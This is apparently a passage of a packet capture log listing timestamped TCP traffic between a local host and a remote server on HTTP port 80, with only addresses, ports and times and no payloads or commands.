May 2, 2024 17:39:46.545619965 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.545661926 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.545681000 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.545840025 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.545883894 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.546005011 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546066999 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546109915 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.546140909 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546175957 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546220064 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.546408892 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546493053 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546534061 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.546555996 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546580076 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546622038 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.546646118 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546734095 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546746969 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546776056 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.546828985 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546854973 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546873093 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.546926975 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.546962976 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.546993017 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547032118 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.547043085 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547106981 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547144890 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.547153950 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547300100 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547336102 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.547344923 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547399044 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547436953 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.547460079 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547508955 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547545910 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.547566891 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547627926 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547667980 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.547676086 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547841072 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547852993 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547878027 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.547921896 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.547961950 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.547985077 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548142910 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548182011 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.548233986 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548403025 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548414946 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548439026 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.548460960 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548501968 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.548527002 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548587084 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548636913 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548640966 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.548713923 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548758984 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.548773050 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548830986 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548871040 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.548908949 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.548974037 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.549009085 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.549021006 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.549164057 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.549201965 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.549279928 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.549391031 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.549429893 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.549439907 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.549562931 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.549601078 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.549659967 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.551883936 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.551930904 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.551939011 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552021980 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552056074 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552061081 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.552175045 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552215099 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.552222013 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552337885 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552351952 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552370071 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552377939 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.552407980 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.552424908 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552545071 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552582979 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.552598953 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.552644014 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552757978 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552794933 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.552903891 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552917004 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552944899 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.552953005 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.553004980 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553036928 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553044081 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.553111076 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553150892 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.553172112 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553247929 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553287029 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.553287983 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553354025 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553391933 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.553416014 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553479910 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553515911 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.553567886 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553618908 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553663015 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.553685904 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553736925 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.553774118 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.553783894 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.562836885 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.564209938 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.653971910 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.654036999 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.654050112 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.654083014 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.654151917 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.654225111 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.654277086 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.654300928 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.654393911 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.654443026 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.654478073 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.654836893 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.654879093 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.654932976 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.654999971 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655049086 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.655062914 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655128956 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655169964 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.655194044 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655245066 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655287027 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.655322075 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655401945 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655446053 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.655503035 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655591965 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655635118 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.655658007 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655726910 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655771017 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.655858040 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655939102 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.655980110 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.655989885 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656104088 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656141996 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.656157017 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656245947 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656282902 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.656337976 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656383991 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656425953 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.656430006 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656466007 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656502962 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.656526089 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656596899 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656644106 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.656682014 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656765938 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656855106 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656878948 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.656933069 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.656974077 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.657023907 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.657088041 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.657130003 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.657159090 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.657229900 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.657269955 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.657320976 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.657409906 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.657454967 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.657495975 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.657584906 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.657629013 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.657649994 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.657663107 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.657696962 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.658175945 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.658277988 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.658320904 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.658339024 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.658436060 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.658477068 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.658530951 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.658585072 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.658638000 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.658701897 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.658715010 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.658739090 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.658763885 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.658828974 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.658870935 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.658899069 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.658967972 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.659003973 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.659077883 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.659204960 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.659248114 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.659323931 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.659380913 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.659425020 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.659465075 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.659547091 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.659589052 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.659614086 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.659708977 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.659759045 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.659792900 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.659908056 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.659950972 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.659981012 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660080910 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660126925 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.660161018 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660221100 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660265923 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.660300016 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660379887 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660490036 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660520077 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.660574913 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660619020 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.660665035 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660747051 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660789013 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.660801888 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660870075 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.660927057 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.660963058 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661045074 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661091089 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661154032 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.661166906 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661210060 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.661245108 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661339998 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661385059 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.661410093 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661470890 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661514997 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.661549091 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661647081 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661689997 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.661744118 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661843061 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.661890984 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.661914110 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662000895 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662045002 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.662097931 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662163973 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662208080 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.662255049 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662312984 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662365913 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662391901 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.662405968 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662450075 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.662628889 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662705898 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662792921 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662812948 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662885904 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.662946939 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663043022 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663105011 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.663115978 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663165092 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663212061 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663223028 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.663275957 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663319111 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.663400888 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663465023 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663501024 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663518906 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.663554907 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663594961 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.663603067 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663646936 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663692951 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.663717031 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663758993 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.663805962 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.663878918 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664135933 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664179087 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.664202929 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664314032 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664347887 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.664381981 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664475918 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664516926 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.664591074 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664659023 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664702892 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.664716959 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664768934 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664830923 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.664841890 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664885998 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.664927959 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.664935112 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665030956 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665064096 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.665122032 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665185928 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665226936 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.665265083 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665349007 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665399075 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.665460110 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665508032 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665560961 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.665595055 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665679932 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665714979 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665774107 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665802956 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.665873051 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.665910959 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.665994883 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.666062117 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.666105032 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.666115999 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.666166067 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.666201115 CEST	80	49161	23.94.54.101	192.168.2.22
